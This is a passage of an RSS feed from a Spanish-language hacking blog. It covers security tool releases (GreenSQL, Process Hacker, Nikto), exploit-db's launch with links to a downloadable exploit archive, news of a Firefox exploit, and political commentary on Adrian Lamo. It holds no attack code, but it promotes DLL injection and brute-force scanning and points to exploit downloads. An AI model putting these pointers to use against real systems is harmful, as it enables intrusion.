semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin-top:0in;  mso-para-margin-right:0in;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0in;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-fareast-font-family:"Times New Roman";  mso-fareast-theme-font:minor-fareast;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:"Times New Roman";  mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=""&gt;ño que paso y que este proximo sea mucho mejor los quiere mucho&lt;br /&gt;&lt;br /&gt;Bryant&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-3089071770484484504?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/9hAGzRaFrVM" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-01-03T12:57:01.597-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2011/01/despues-de-tanto-tiempo-xd.html</feedburner:origLink></item><item><title>H4x0r Security Censura a Adrian Lamo {Banned}</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/Xf_P1zpe_Dc/h4x0r-security-censura-adrian-lamo_30.html</link><category>Noticias Informaticas</category><category>Noticias</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 30 Jul 2010 21:37:17 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6353581065237841611</guid><description>Bueno a la hora de criticar sea al gobierno, sea a cualquier ciudadano lo hago objetivamente ya que creo en la libertad de expresion etc etc...&lt;br /&gt;&lt;br /&gt;Pero esta vez vengo a presentar mi censura hacia el "Ex-Hacker" Adrian Lamo, Por el lio ultimamente de Wikileaks y la filtracion de Informacion del gobierno Estadounidense y Los Militares en operaciones en Afganistan E Iraq.&lt;br /&gt;&lt;br /&gt;Como ya saben y es un hecho yo soy un Patriota que defiendo mi bandera hasta lo ultimo soy un soldado norteamericano Que Creo en Mi Constitucion etc...pero una cosa que no tolero son los abusos.&lt;br /&gt;&lt;br /&gt;1ro el gobierno americano (mi gobierno) tiene arrestado a este joven a quien consideran una amenaza para la seguridad nacional por la divulgacion de dichos documentos.&lt;br /&gt;&lt;br /&gt;en parte de los videos Bradley Manning Filtro el famoso video en el que se ve como soldados americanos asesinan a dos (2) Periodistas de Reuters por que hubo una supuesta confusion de identificacion (asi se le llama en el campo de batalla) y pensaron que los 2 Periodistas portaban un Rifle A-k47 y Un Lanzagranadas O R.PG por sus siglas en ingles.&lt;br /&gt;&lt;br /&gt;Pero esta vez no se trata de esto esta publicacion se trata de Mi Descontento y Mi Censura hacia el "Ex-Hacker" Adrian Lamo quien como ya saben sus intrusiones a microsoft,Yahoo al New York Times y ahora es tipo es un "Periodista" de 3ra lo lanzaron al ojo publico.&lt;br /&gt;&lt;br /&gt;Este "Ex-Hacker" ahora es un periodista de 3ra y se autoconsidera un heroe, Por que se considera un heroe? Por que con todo este lio que a explotado con la divulgacion de los videos en Wikileaks el "Ex-Hacker" Adrian Lamo Revelo Su fuente de noticias..&lt;br /&gt;&lt;br /&gt;En otras Palabras El "Ex-Hacker" Y "Periodista" Adrian Lamo Choteo como decimos vulgarmente en la calle al heroe de guerra Bradley Manning de que Manning era el que estaba divulgando la informacion y este mismo (Adrian Lamo) LLamo al F.B.I Y las agencias del gobierno para decirle que el soldado era el que hacia esto..&lt;br /&gt;&lt;br /&gt;Adrian Lamo, yo soy una persona que siempre e dicho que la etica hacker no existe en estos tiempos pero viniendo de esta persona (Adrian Lamo) Un "Hacker de Sombrero Gris" al menos la etica siempre debe estar presente en tu corazon.&lt;br /&gt;&lt;br /&gt;La Primera Regla u Comportamiento de un hacker y que siempre defenderemos es :&lt;br /&gt;"La Informacion Siempre se Debe Compartir Libremente"&lt;br /&gt;&lt;br /&gt;En otras palabras si yo se de alguna manera como liberar el codigo fuente del super mega sistema operativo Windows 7 yo la comparto libremente, en este caso este joven mostro al mundo el vil asesinato de 2 reporteros asi como algunos civiles iraquies en manos de mi gobierno americano.&lt;br /&gt;&lt;br /&gt;Entonces dejastes que la informacion fuera revelada y luego lo delatas a las autoridades, Cuando una persona en el ejercito o un gobierno es General siempre se le llamara General Asi como el presidente americano no importa si dejo su presidencia siempre seguira siendo presidente.&lt;br /&gt;&lt;br /&gt;Usted Adrian Lamo seguira siendo un hacker. pero como Hacker a violado una de las cosas u reglamentos que al menos como entusiastas de la informatica siempre tratamos de proteger y es protegernos entre nosotros mismos nunca exponer a nuestros colegas ni mucho menos sacarte provecho por medio de otro entusiasta informatico.&lt;br /&gt;&lt;br /&gt;La comunidad Hacker dia a dia sigue creciendo muchos caen y muchos vienen pero siempre tratamos de mantener intacto nuestro codigo de honor como Didacticos de la informatica.&lt;br /&gt;&lt;br /&gt;Lo que a hecho este hombre Adrian Lamo, es insulto para la comunidad Hacker Exponiendo la libertad de este joven soldado (Choteandolo) o entregandolo a las autoridades y yo como entusiasta a la informatica te censuro.&lt;br /&gt;&lt;br /&gt;A nuestros lectores si creen que estoy equivocado con mis comentarios pues les pido mis disculpas pero realmente me parece un descaro de este hombre (Adrian Lamo) en delatar a este joven, cuando el fue un Hacker en el pasado y deberia seguir con todas sus eticas y cumplirlas honorablemente.&lt;br /&gt;&lt;br /&gt;Adrian Lamo You Has Been Turned Into A Non-Grata "Hacker"&lt;br /&gt;&lt;br /&gt;Espero que a los seguidores de este "ex-Hacker" les moleste mi descontento y a los que esten deacuerdos pues son bienvenidos sus comentarios&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6353581065237841611?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/Xf_P1zpe_Dc" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-30T21:37:17.651-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2010/07/h4x0r-security-censura-adrian-lamo_30.html</feedburner:origLink></item><item><title>Nuevo Codigo de ataque de Firefox se Hace Publico</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/aP3Izgze5rw/nuevo-codigo-de-ataque-de-firefox-se.html</link><category>exploits</category><category>Vulnerabilidades</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 19 Feb 2010 16:28:21 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-7794785596881650137</guid><description>Un experto de seguridad informatica a hecho publico un nuevo codigo de ataque que afecta el nuevo navegador de firefox o mas bien su version mas reciente.&lt;br /&gt;&lt;br /&gt;El Exploit permite que se ejecute remotamente  codigo malicioso en la maquina afectada, asi informo Evgeny Legerov (Un Tipo Ruso) xD. quien es fundador de la version rusa de &lt;cite&gt;&lt;/cite&gt;intevydis, que para los que siguen este sitio son analistas en seguridad informatica y busqueda de vulnerabilidades, el mismo programo un nuevo modulo para immunity canvas que es un software de pago para los administradores web o de redes.&lt;br /&gt;&lt;br /&gt;Fue probado por los mismos en Windows Xp y Windows Vista., estamos hablando la version 3.6 del navegador (Firefox),&lt;br /&gt;&lt;br /&gt;este descubrimiento viene despues que los desarrolladores de Mozilla habian sacado la actualizacion debido a 3 vulnerabilidades y una de ellas involucraban otro desbordamiento pero no el mismo, en este.&lt;br /&gt;&lt;br /&gt;Mozilla rapidamente (como era de esperarse) rapidamente ripostaron informando que toman las cuestiones de seguridad bn en srio y que exortaban a los analistas (hackers) a trabajar reportando estas fallas de seguridad para brindar un mejor servicio (si claro) jajaja.&lt;br /&gt;&lt;br /&gt;Para mas info sobre el exploit clickeen &lt;a href="http://secunia.com/advisories/38608/"&gt;aqui&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-7794785596881650137?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/aP3Izgze5rw" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-19T16:28:21.336-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2010/02/nuevo-codigo-de-ataque-de-firefox-se.html</feedburner:origLink></item><item><title>GreenSQL –  Firewall Software</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/OLelSU94_YI/greensql-firewall-software.html</link><category>Herramientas</category><category>SQL Inyection</category><category>base de datos</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Sun, 14 Feb 2010 11:36:30 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-7284597518134414747</guid><description>&lt;span id="result_box" class="long_text"&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL is an Open Source database firewall used to protect databases from SQL injection attacks."&gt;GreenSQL es un servidor de seguridad de codigo abierto  utilizado para proteger las bases de datos de ataques de inyección SQL. &lt;/span&gt;&lt;span title="GreenSQL works as a proxy for SQL commands and has built in support for MySQL &amp;amp; PostgreSQL ."&gt;GreenSQL funciona como un proxy para comandos SQL y tiene soporte para MySQL y PostgreSQL. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="The logic is based on evaluation of SQL commands using a risk scoring matrix as well as blocking known db administrative commands (DROP, CREATE, etc)."&gt;La lógica se basa en la evaluación de los comandos SQL usando una matriz de valoración del riesgo, así como el bloqueo de conocidos comandos de DB administrativa (DROP, CREATE, etc.) &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL is distributed under the GPL license."&gt;GreenSQL se distribuye bajo la licencia GPL.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL Architecture"&gt;GreenSQL Arquitectura&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL works as a reverse proxy for MySQL connections."&gt;GreenSQL funciona como un proxy inverso para las conexiones de MySQL. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="This means, that instead of connecting TO THE MySQL server, your applications will connect to THE GreenSQL server."&gt;Esto significa, que en lugar de conectar al servidor MySQL, las aplicaciones se conectará al servidor de GreenSQL. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL will analyze SQL queries and then, if they're safe, will forward them to the back-end MySQL server."&gt;GreenSQL analizará las consultas SQL y, a continuación, si están a salvo, se remitirá a la parte final del servidor MySQL.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span title="New Changes"&gt;Nuevos Cambios&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="In this version, GreenSQL provides native support for PostgreSQL (http://www.postgresql.org) databases for the very first time."&gt;En esta versión, GreenSQL proporciona soporte nativo para PostgreSQL (http://www.postgresql.org) bases de datos para la primera vez. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="In fact, GreenSQL is the only database firewall (Open or Closed Source) available for the protection of the many PostgreSQL databases currently in use."&gt;De hecho, GreenSQL es el servidor de seguridad de base de datos única (Open Source o cerrado) disponibles para la protección de las bases de datos PostgreSQL muchos actualmente en uso.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="GreenSQL 1.2 merges the GreenSQL-Console package into the GreenSQL-FW."&gt;GreenSQL 1,2 combina la GreenSQL paquete de consola en el GreenSQL-FW. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="The GreenSQL-Console will no longer be released as a separated package."&gt;El GreenSQL-consola ya no será lanzado como un paquete separado. &lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="During the installation process, you will be able to choose whether or not to install the console."&gt;Durante el proceso de instalación, usted podrá elegir si desea o no instalar la consola.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="You can download GreenSQL v1.2 here:"&gt;Usted puede descargar GreenSQL v1.2 aquí: Click &lt;a href="http://www.greensql.net/download/get?os=Source_Code&amp;amp;platform=Any&amp;amp;filename=greensql-fw-1.2.2.tar.gz"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;O Leer Mas Sobre el Software &lt;a href="http://www.greensql.net/"&gt;Aqui&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-7284597518134414747?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/OLelSU94_YI" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-14T11:36:30.990-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2010/02/greensql-firewall-software.html</feedburner:origLink></item><item><title>Dandome la vuelta por ahi todavia Bryant is Back!!!!</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/FOYu0q99Py4/dandome-la-vuelta-por-ahi-todavia-dino.html</link><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Tue, 26 Jan 2010 10:45:59 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-3714995392629608156</guid><description>estoy por ahi y disculpenme mi poca actividad estoy de vuelta ya definitivo jajajaja en fin saludos a mis amigos y mis enemigos....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-3714995392629608156?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/FOYu0q99Py4" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-26T10:45:59.109-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2010/01/dandome-la-vuelta-por-ahi-todavia-dino.html</feedburner:origLink></item><item><title>En La Jungla interesante herramienta para visualizar procesos(Process Hacker v1.7)</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/pQuUwaOfdos/en-la-jungla-interesante-herramienta.html</link><category>Herramientas</category><category>Hacking</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 18 Dec 2009 13:19:52 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-3110491086513937686</guid><description>Buscando por ahi e encontrado una herramienta interesante se trata de Process Hacker que es una herramienta de codigo abierto para visualizar procesos. y editor de memoria, con muy buenas caracteristicas.&lt;br /&gt;&lt;br /&gt;si llegastes a este post y te interesa la herramienta asumo que ya debes tener conocimientos de hacking al menos intermedios para usar la herramienta aunque realmente no nesesitas ser un mega juanker..hahaha.&lt;br /&gt;&lt;br /&gt;Trabaja muy similar que el visor de procesos normal de tu sistema operativo lo unico que este sera de manera maligna.&lt;br /&gt;&lt;br /&gt;Muy buenas caracteristicas:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Visualiza,Suspende y Resume Procesos&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Reinicia Procesos Creando Archivos "Dump" Que Pueden ser editables en un debugger hasta puedes hacer inyecciones DLL'S dandote posibilidades de usar Dll's malignas/ . Puedes visualizar informacion detallada de cada proceso,estadisticas y su funcionamiento&lt;br /&gt; y muchicimas cosas mas...&lt;/li&gt;&lt;/ul&gt;Requerimientos son los tipicos de WONDOWS XD EDITION O WONDOWS VOSTA cugh cugh quise decir windows...&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;.NET Framework 2.0&lt;/li&gt;&lt;li&gt;Microsoft Windows XP SP2 or above, 32-bit or 64-bit &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Para descargarlo hazlo desde &lt;a href="http://sourceforge.net/projects/processhacker/files/processhacker/processhacker-1.7/processhacker-1.7-setup.exe/download"&gt;Aqui&lt;/a&gt; :&lt;br /&gt;&lt;br /&gt;y lea mas &lt;a href="http://sourceforge.net/projects/processhacker/"&gt;Aca&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-3110491086513937686?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/pQuUwaOfdos" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-18T13:19:52.716-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><enclosure url="http://sourceforge.net/projects/processhacker/files/processhacker/processhacker-1.7/processhacker-1.7-setup.exe/download" length="1369407" type="application/octet-stream" /><feedburner:origLink>http://h4xxor.blogspot.com/2009/12/en-la-jungla-interesante-herramienta.html</feedburner:origLink></item><item><title>[EXPLO.IT] Archivo de exploits</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/oIRs1EbU_d0/exploit-archivo-de-exploits.html</link><category>exploits</category><category>milw0rm</category><category>base de datos</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Mon, 23 Nov 2009 09:15:58 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-6238041667439617360</guid><description>No es tan nuevo que digamos y asi mismo estan en estado de pruebas pero nuestros amigos de &lt;a href="http://remote-exploit.org/"&gt;Remote Exploit&lt;/a&gt; han rescatado el trabajo de str0ke que a ciencia cierta no se sabe que realmente paso con el si de verdad murio o se trato de una broma pesada lo que si es real es que el dominio de &lt;a href="http://www.milw0rm.com/"&gt;milw0rm&lt;/a&gt; permanece inerte.&lt;br /&gt;&lt;br /&gt;bueno el grupo de &lt;a href="http://remote-exploit.org/"&gt;Remote Exploit&lt;/a&gt;, precisamente los desarrolladores de &lt;a href="http://www.offensive-security.com/"&gt;Ofensive Security&lt;/a&gt;, han continuedo con la linea del proyecto que milw0rm habia dejado atras (&lt;a href="http://twitter.com/Str0ke"&gt;str0ke&lt;/a&gt;) , esta vez con el dominio de &lt;a href="http://www.exploit-db.com/"&gt;explo.it&lt;/a&gt; es una pagina un tanto similar a lo que era &lt;a href="http://www.milw0rm.com/"&gt;milw0rm&lt;/a&gt;, la diferencia es que ahora los usuarios tendran la ventaja de descarar las aplicaciones vulnerables si estan disponibles.&lt;br /&gt;&lt;br /&gt;el caso es que si la aplicacion vulnerable es [ Home FTP Server 'MKD' Command Directory Traversal Vulnerability] Pueden descargar el archivo vulnerable para propositos de testing en el directorio que es marcado con la letra &lt;a href="http://www.exploit-db.com/downloads/76c102565c046053bce86bf159bf5a7e-HomeFtpServerInstall.exe"&gt;A&lt;/a&gt; para descargar o sea se lista las aplicaciones vulnerables y si tiene la letra que indique arriba podran descargar la aplicacion.&lt;br /&gt;&lt;br /&gt;esto les da la ventaja a los usuarios de no ser tan puro script kiddies y les alumbra la curiosidad de descargar la aplicacion y probar localmente el por que de las cosas, ventaja? el conocimiento y muchos mas tester en la jungla.&lt;br /&gt;&lt;br /&gt;lo mismo que en milw0rm tienen la direccion de envios que es &lt;img src="http://www.exploit-db.com/images/submit.png" /&gt;  y deben tener este formato (de cabecera):&lt;br /&gt;&lt;br /&gt;# Exploit Title: [title]&lt;br /&gt;# Date: [date]&lt;br /&gt;# Author: [author]&lt;br /&gt;# Software Link: [downoad link if available]&lt;br /&gt;# Version: [app version]&lt;br /&gt;# Tested on: [relevant os]&lt;br /&gt;# CVE : [if exists]&lt;br /&gt;# Code : [exploit code]&lt;br /&gt;&lt;br /&gt;al menos se ve un buen proyecto y que amplia mas el mundo de la busqueda de vulnerabilidades y de parcheo de ellas.&lt;br /&gt;&lt;br /&gt;tambien pueden descargar el archivo de exploits completo accediendo &lt;a href="http://www.exploit-db.com/archive.tar.bz2"&gt;aqui&lt;/a&gt; ,&lt;br /&gt;&lt;br /&gt;en fin al menos se decidio continuar con este proyecto que de alguna manera es de vital importancia en el mundo de inseguridad/seguridad IT.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.exploit-db.com/"&gt;www.exploit-db.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.exploit-db.com/"&gt;www.explo.it&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.offensive-security.com/"&gt;www.offensive-security.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://remote-exploit.org/"&gt;www.remote-exploit.org&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forums.remote-exploit.org/index.php"&gt;www.forums.remote-exploit.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-6238041667439617360?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/oIRs1EbU_d0" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-23T09:15:58.552-08:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://www.exploit-db.com/downloads/76c102565c046053bce86bf159bf5a7e-HomeFtpServerInstall.exe" length="1178063" type="application/x-msdos-program" /><feedburner:origLink>http://h4xxor.blogspot.com/2009/11/exploit-archivo-de-exploits.html</feedburner:origLink></item><item><title>Nikto Version Nueva [2.1.0] Scanner de Vulnerabilidades</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/0vSXP_0BW9w/nikto-version-nueva-210-scanner-de.html</link><category>Servidor</category><category>scanners</category><category>Vulnerabilidades</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Thu, 29 Oct 2009 07:29:40 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-163386211454694754</guid><description>Bueno para los que buscan nuevas opciones en cuanto a la busqueda de vulnerabilidades y les gusta usarlos en medio de consola, aca les traigo la noticia de al fin xD sale una nueva version de Nikto de la que hace tiempo no sacaban una nueva version.&lt;br /&gt;&lt;br /&gt;en esta nueva version hacen unos nuevos cambios como el arreglo de algunos bugs que tenia la vieja por ejemplo, cuando realizabas una auditoria y el scanner se quedaba tratando de conectarse si lo usabas en modo verbose ni te devolvia un "Conection Time Out".&lt;br /&gt;&lt;br /&gt;La re-escritura de los plugins que te da la facilidad de modificarlos y agregar nuevos.&lt;br /&gt;&lt;br /&gt;el motor de notificaciones tambien modificable asi encontrandole mejores usos.&lt;br /&gt;&lt;br /&gt;modificacion del cache del script permitiendo que el mismo no haga mucho ruido en los servidores auditados, y la habilidad de desabilitar las notificaciones 404 del servidor.&lt;br /&gt;&lt;br /&gt;Habilidad  de adivinar si el sistema remoto esta en un adaptador y es un dispositivo aparte y reportarlo.&lt;br /&gt;&lt;br /&gt;Plugin para usar las listas de diccionario de OWASP Para tratar ataques de fuerza bruta en el servidor remoto.&lt;br /&gt;&lt;br /&gt;Plugin para tratar ataques de fuerza bruta en el dominio auditado.&lt;br /&gt;&lt;br /&gt;Permite adivinar el nombre de usuario con metodos de fuerza bruta.&lt;br /&gt;&lt;br /&gt;Soporte para autentificacion NLTM.&lt;br /&gt;&lt;br /&gt;Para descargarlo Version 2.1.0 &lt;a href="https://cirt.net/nikto/nikto-current.tar.gz"&gt;.gz&lt;/a&gt; or &lt;a href="https://cirt.net/nikto/nikto-2.1.0.tar.bz2"&gt;.bz2&lt;/a&gt; | &lt;a href="https://cirt.net/nikto/UPDATES/2.1.0/"&gt;Plugins &amp;amp; DBs&lt;/a&gt; .&lt;br /&gt;&lt;br /&gt;Salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8993704577829861185-163386211454694754?l=h4xxor.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/H4xxorSecurityBlog/~4/0vSXP_0BW9w" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-29T07:29:40.838-07:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://h4xxor.blogspot.com/2009/10/nikto-version-nueva-210-scanner-de.html</feedburner:origLink></item><item><title>Mensaje Al Cabron Del Gobernador De Puerto Rico</title><link>http://feedproxy.google.com/~r/H4xxorSecurityBlog/~3/z5x7nm9syio/mensaje-al-cabron-del-gobernador-de.html</link><category>Mi Vida</category><author>noreply@blogger.com (Bryant Alston)</author><pubDate>Fri, 25 Sep 2009 20:26:35 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-8993704577829861185.post-849541336452055978</guid><description>&lt;span style="font-weight: bold;"&gt;Despido Masivo De Miles De Empleados En Puerto Rico :O&lt;/span&gt;&lt;br /&gt;&lt;br 